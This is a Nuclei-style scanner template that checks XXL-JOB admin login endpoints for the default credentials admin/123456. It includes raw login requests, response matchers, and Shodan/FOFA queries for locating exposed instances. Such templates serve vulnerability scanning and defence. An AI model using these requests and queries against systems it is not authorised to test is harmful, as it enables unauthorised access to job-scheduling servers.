id: xxljob-default-login

info:
  name: XXL-JOB Default Login
  author: pdteam,ritikchaddha
  severity: high
  description: XXL-JOB default admin credentials were discovered.
  reference:
    - https://github.com/xuxueli/xxl-job
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
    cvss-score: 8.3
    cwe-id: CWE-522
  metadata:
    verified: true
    max-request: 2
    shodan-query: http.favicon.hash:1691956220
    product: xxl-job
    vendor: xuxueli
    fofa-query: icon_hash=1691956220
  tags: default-login,xxljob

http:
  - raw:
      - |
        POST /xxl-job-admin/login HTTP/1.1
        Host:{{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        userName={{username}}&password={{password}}
      - |
        POST /login HTTP/1.1
        Host:{{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        userName={{username}}&password={{password}}

    attack: pitchfork
    payloads:
      username:
        - admin
      password:
        - 123456
    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '"code":200'
          - '"msg"'
          - '"content"'
        condition: and

      - type: word
        part: header
        words:
          - 'application/json'
          - 'XXL_JOB_LOGIN_IDENTITY'
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a0047304502206acdea98298111400ef2e99c6510a8160f4a2550c1984b0f5be45f6bfab499fc022100f0835ab42b8bc63091fe0efd27fde85a07cef456f574d0973d82d711c8504cc1:922c64590222798bb761d5b6d8e72950